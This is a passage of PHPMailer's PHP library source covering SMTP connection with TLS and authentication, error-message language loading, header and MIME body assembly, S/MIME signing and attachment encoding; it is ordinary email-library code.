            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
